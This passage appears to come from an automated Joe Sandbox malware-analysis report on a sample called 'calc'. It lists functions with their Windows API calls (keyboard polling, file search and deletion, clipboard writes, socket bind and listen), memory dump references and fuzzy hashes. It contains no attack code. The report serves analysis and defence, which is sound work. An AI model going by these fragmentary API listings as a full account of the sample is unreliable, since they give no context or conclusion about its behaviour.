    • GetAsyncKeyState.USER32(0000005B), ref: 00411275
    • GetKeyState.USER32(0000005B), ref: 0041127E
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: State$Async$Keyboard
    • String ID:
    • API String ID: 541375521-0
    • Opcode ID: c338db2ebfc7b81165dcb8171b49bc99007ff0eb5cf1a9d99d3063b8f188d27e
    • Instruction ID: e31dbba070b44f53dd3458c3638453cf18232ab5b47055628d4a6071834e1978
    • Opcode Fuzzy Hash: c338db2ebfc7b81165dcb8171b49bc99007ff0eb5cf1a9d99d3063b8f188d27e
    • Instruction Fuzzy Hash: C241C4341093CD6AEB34DB648949BEBBBD49F55704F04045EDF8D533A2C3788D88976A
    Function 00420D89 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 516sleepCOMMON
    Download Yara Rule
    APIs
    • InterlockedIncrement.KERNEL32(004783F4), ref: 00420E10
    • InterlockedDecrement.KERNEL32(004783F4), ref: 00420E21
    • Sleep.KERNEL32(0000000A), ref: 00420E29
    • InterlockedIncrement.KERNEL32(004783F4), ref: 00420E30
      • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
      • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
    • InterlockedDecrement.KERNEL32(004783F4), ref: 00420F37
    • CharUpperBuffW.USER32(?,?), ref: 00420F75
    • InterlockedDecrement.KERNEL32(004783F4), ref: 0042104E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Interlocked$Decrement$IncrementLoadString$BuffCharSleepUpper
    • String ID: @COM_EVENTOBJ
    • API String ID: 934844991-2228938565
    • Opcode ID: d646c18140411800726c90bb1d856db12d7525a8836f33f7ac5f3ec4128abfa3
    • Instruction ID: 6ea2b9a6e17d07e1c07b5102837ec04bf299e60735082e7939a45b08f099e3a8
    • Opcode Fuzzy Hash: d646c18140411800726c90bb1d856db12d7525a8836f33f7ac5f3ec4128abfa3
    • Instruction Fuzzy Hash: 6E229A31A00269DFCB24DF64D881AED37B5FF14304F50816EF915A7262DB38A986CB98
    Function 00422C4D Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 210timefileCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(00000000,?), ref: 00422C7F
    • FindClose.KERNEL32(00000000), ref: 00422CC5
    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00422CF1
    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00422D05
    • FileTimeToSystemTime.KERNEL32(?,?), ref: 00422D27
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FileTime$FindLocal$CloseFirstSystem
    • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
    • API String ID: 3238362701-2428617273
    • Opcode ID: 71ca0f3d555a88e38985b6a51d8b0467d04d6e91d46064fc809aa1ba1af80b67
    • Instruction ID: b5dcbf70462fbe47fe172edd752ae1c2a7306ae79658aad27f2e11ace563c1bf
    • Opcode Fuzzy Hash: 71ca0f3d555a88e38985b6a51d8b0467d04d6e91d46064fc809aa1ba1af80b67
    • Instruction Fuzzy Hash: B47138B2900119ABCB10EBE5D8859EEB3BCAF08314F50415BF915E7241DB78EE458BA8
    Function 004230D5 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(00000000,?,75568FB0,?,00000000), ref: 004230F3
    • FindNextFileW.KERNEL32(00000000,?), ref: 0042314B
    • FindClose.KERNEL32(00000000), ref: 00423156
    • FindFirstFileW.KERNEL32(*.*,?), ref: 0042317C
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004231C9
    • SetCurrentDirectoryW.KERNEL32(004604D0), ref: 004231E7
    • FindNextFileW.KERNEL32(00000000,00000010), ref: 004231F1
    • FindClose.KERNEL32(00000000), ref: 004231FE
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Find$File$CloseCurrentDirectoryFirstNext
    • String ID: *.*
    • API String ID: 1688175871-438819550
    • Opcode ID: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
    • Instruction ID: 29861fd0da0d17a13f764a0acb193fcdcc356ff7de37d4c9d30fbf1bb77053e7
    • Opcode Fuzzy Hash: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
    • Instruction Fuzzy Hash: 5631A9316002297ADF209FA0BD49FFB37BCAF44316F540097F90492181EB7DDE159A18
    Function 0041605B Relevance: 12.1, APIs: 8, Instructions: 92COMMON
    Download Yara Rule
    APIs
    • FindResourceW.KERNEL32(?,?,0000000E), ref: 004160AD
    • LoadResource.KERNEL32(?,00000000), ref: 004160B9
    • LockResource.KERNEL32(00000000), ref: 004160BC
    • FindResourceW.KERNEL32(?,?,00000003), ref: 004160E1
    • LoadResource.KERNEL32(?,00000000), ref: 004160EA
    • SizeofResource.KERNEL32(?,?), ref: 004160F5
    • LockResource.KERNEL32(00000000), ref: 00416101
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Resource$FindLoadLock$Sizeof
    • String ID:
    • API String ID: 4215241788-0
    • Opcode ID: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
    • Instruction ID: ad861e728714f87d0bd08c3f0af146d5d0e55425d81be2c55b6ca67d22e84554
    • Opcode Fuzzy Hash: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
    • Instruction Fuzzy Hash: F7318B71800219AFEF10DFA0DD48AAF7BBAEB04305F004426F905A2261E375DE60DB69
    Function 0042A4F2 Relevance: 10.6, APIs: 7, Instructions: 54clipboardmemoryCOMMON
    Download Yara Rule
    APIs
    • GlobalAlloc.KERNEL32(00000002,?), ref: 0042A524
    • GlobalLock.KERNEL32(00000000), ref: 0042A531
    • GlobalUnlock.KERNEL32(00000000), ref: 0042A560
    • OpenClipboard.USER32 ref: 0042A56C
    • EmptyClipboard.USER32 ref: 0042A572
    • SetClipboardData.USER32(0000000D,00000000), ref: 0042A57B
    • CloseClipboard.USER32 ref: 0042A581
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
    • String ID:
    • API String ID: 1677084743-0
    • Opcode ID: c603adeed05f15c6f61e8f7b7d687119e1396cfb15f998f46e660c351e18ca09
    • Instruction ID: 6cccff68164277771eb89f088960f801e9b52451248a8bbc4c77ee29cd5c4e6e
    • Opcode Fuzzy Hash: c603adeed05f15c6f61e8f7b7d687119e1396cfb15f998f46e660c351e18ca09
    • Instruction Fuzzy Hash: 7401C432104220FFD710BB61EC0DE6F3768AF45726F45046AF80597162DB28CC86CB6A
    Function 0042F3BC Relevance: 9.1, APIs: 6, Instructions: 77networkCOMMON
    Download Yara Rule
    APIs
    • socket.WS2_32(00000002,00000001,00000006), ref: 0042F428
    • WSAGetLastError.WS2_32(00000000,00000002,00000001,00000006,?,00000000,00000000), ref: 0042F436
    • bind.WS2_32(00000000,?,00000010), ref: 0042F44E
    • listen.WSOCK32(00000000,00000005,00000002,00000001,00000006,?,00000000,00000000), ref: 0042F45C
    • WSAGetLastError.WS2_32(00000000,00000002,00000001,00000006,?,00000000,00000000), ref: 0042F46A
    • closesocket.WS2_32(00000000), ref: 0042F47A
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorLast$bindclosesocketlistensocket
    • String ID:
    • API String ID: 1279440585-0
    • Opcode ID: 23d60ec8938c12dcff92dea0958b30484043bd5e484a518ab48403b1d2719e68
    • Instruction ID: 28023dcdb2f292c3a4eb683a391c007bd58f3907a0e68a2917aa8acad0e77ec9
    • Opcode Fuzzy Hash: 23d60ec8938c12dcff92dea0958b30484043bd5e484a518ab48403b1d2719e68
    • Instruction Fuzzy Hash: E1219730700224ABDB10FB65DC42E9F73B5AF10328F90417FF955A7292D778AE458699
    Function 00426292 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120filesleepCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000001), ref: 004262D4
    • Sleep.KERNEL32(0000000A,00000000), ref: 00426302
    • FindNextFileW.KERNEL32(?,?,00000000), ref: 004263DC
    • FindClose.KERNEL32(?), ref: 004263F4
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Find$File$CloseFirstNextSleep
    • String ID: *.*
    • API String ID: 1749430636-438819550
    • Opcode ID: 3e8d328fb9d0a0df152669ceac2e35e150d87d91138b84c2d4f04a028453713d
    • Instruction ID: 14313086ed1824e1ac955e4be02adb7ecbe1729315f12b359723cfbb7ee217a5
    • Opcode Fuzzy Hash: 3e8d328fb9d0a0df152669ceac2e35e150d87d91138b84c2d4f04a028453713d
    • Instruction Fuzzy Hash: 8241B031A04229AFDF10EF60EC85AEEBB74FF00324F5541ABE825A2191D779DE45CB58
    Function 00414FFA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87fileCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
      • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
    • FindFirstFileW.KERNEL32(?,?), ref: 00415075
    • DeleteFileW.KERNEL32(?), ref: 004150D8
    • FindNextFileW.KERNEL32(00000000,00000010), ref: 004150EB
    • FindClose.KERNEL32(00000000), ref: 00415101
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$Find$AttributesCloseDeleteFirstFullNameNextPath
    • String ID: \*.*
    • API String ID: 1127339523-1173974218
    • Opcode ID: ccb680eb065897f83bf5c081a3fcf52e97192ceb06a48353c20d1d040dc82788
    • Instruction ID: 409b15486f08223be286d2985c7cc7ce5df5238f831beca23a735b92d1d425b1
    • Opcode Fuzzy Hash: ccb680eb065897f83bf5c081a3fcf52e97192ceb06a48353c20d1d040dc82788
    • Instruction Fuzzy Hash: E8319372C4022C9ADB20E7A0CC89EDB77BCAB19314F0405D7E519D2141EA399BC88F55
    Function 00430B6B Relevance: 7.7, APIs: 5, Instructions: 226comCOMMON
    Download Yara Rule
    APIs
    • OleInitialize.OLE32(00000000), ref: 00430BCF
    • CreateBindCtx.OLE32(00000000,?), ref: 00430C6D
    • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 00430CA2
    • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430D3B
    • GetActiveObject.OLEAUT32(?,00000000,?), ref: 00430D5F
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ActiveBindCreateDisplayFromInitializeNameObjectParseProg
    • String ID:
    • API String ID: 2624060339-0
    • Opcode ID: 78d98e9ef6012a7890a48b1e667d53dffbd1682f643dec9bf68f0a9dbe00c454
    • Instruction ID: da78810dc58ee67beca8740cb072a36e8d7e879c082b736ce8f307c953f0df69
    • Opcode Fuzzy Hash: 78d98e9ef6012a7890a48b1e667d53dffbd1682f643dec9bf68f0a9dbe00c454
    • Instruction Fuzzy Hash: D1713671900209AFDF04EBE1DC94CEEBBB9EF48358F10566AF401AB121DB39AD45CB58
    Function 0042F9C7 Relevance: 7.6, APIs: 5, Instructions: 122networkCOMMON
    Download Yara Rule
    APIs
    • socket.WS2_32(00000002,00000002,00000011), ref: 0042FA27
    • WSAGetLastError.WS2_32(00000000,00000002,00000002,00000011,?,?,00000000,00000000), ref: 0042FA44
    • bind.WS2_32(000000FF,?,00000010), ref: 0042FA5E
    • WSAGetLastError.WS2_32(00000000,000000FF,?,00000010,00000002,00000002,00000011,?,?,00000000,00000000), ref: 0042FA6A
    • closesocket.WS2_32(000000FF), ref: 0042FA7C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorLast$bindclosesocketsocket
    • String ID:
    • API String ID: 2609815416-0
    • Opcode ID: e7397f1c144a3e631e766c81722d41783a29369c490b2386a7dce95c5e9ce37f
    • Instruction ID: 3a16f63b51b195d841c79802276cd2fb353c8446d2eaf561272c81bd1857b55e
    • Opcode Fuzzy Hash: e7397f1c144a3e631e766c81722d41783a29369c490b2386a7dce95c5e9ce37f
    • Instruction Fuzzy Hash: 1F41DA31700224ABDB10FB65D842ADDB774AF00368F90427FF915A7292CB78ED858788
    Function 00440FF0 Relevance: 7.6, APIs: 5, Instructions: 57windowCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0043F161: IsWindow.USER32(00000000), ref: 0043F18E
    • IsWindowVisible.USER32(?), ref: 00441030
    • IsWindowEnabled.USER32(?), ref: 0044103E
    • GetForegroundWindow.USER32 ref: 0044104B
    • IsIconic.USER32(?), ref: 00441059
    • IsZoomed.USER32(?), ref: 00441067
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$EnabledForegroundIconicVisibleZoomed
    • String ID:
    • API String ID: 292994002-0
    • Opcode ID: 823c9779afd878d97ecc99f1b56ef9ecf8a7d526435fc575a642dec1e6f9dd48
    • Instruction ID: 5347e6eeee2c35e3a3080e83de1525a4242f8176f48fdc4335f36dcb23dbdd43
    • Opcode Fuzzy Hash: 823c9779afd878d97ecc99f1b56ef9ecf8a7d526435fc575a642dec1e6f9dd48
    • Instruction Fuzzy Hash: 71019232701210ABF7216BAA6C8576B6358AF45755F04002BF905E7262CB5CDC8586AD
    Function 00454555 Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON
    Download Yara Rule
    APIs
    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00454570
    • GetCurrentProcessId.KERNEL32 ref: 0045457C
    • GetCurrentThreadId.KERNEL32 ref: 00454584
    • GetTickCount.KERNEL32 ref: 0045458C
    • QueryPerformanceCounter.KERNEL32(?), ref: 00454598
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
    • String ID:
    • API String ID: 1445889803-0
    • Opcode ID: ce49a519204e3efa3a38d4ccfecad025a25cbb3f5171558189020a5d7d08fa74
    • Instruction ID: cce3aeb063afa98f1ec8b005d038f7efac3a4b28e447dbd033245065016be6b7
    • Opcode Fuzzy Hash: ce49a519204e3efa3a38d4ccfecad025a25cbb3f5171558189020a5d7d08fa74
    • Instruction Fuzzy Hash: 74F0A471C00215EBCB20ABB4ED4859E77F4FB58246F851561ED01EB151E634DE44CBD9
    Function 004240D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 004240E5
    • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424183
    • FreeLibrary.KERNEL32(?), ref: 004241D9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Free$DiskErrorLibraryModeSpace
    • String ID: Wu
    • API String ID: 196386347-4083010176
    • Opcode ID: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
    • Instruction ID: b200f007bc7906c09fc1daa9ee030b72ce8bb0e7a5c992d7f6e88266f231a153
    • Opcode Fuzzy Hash: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
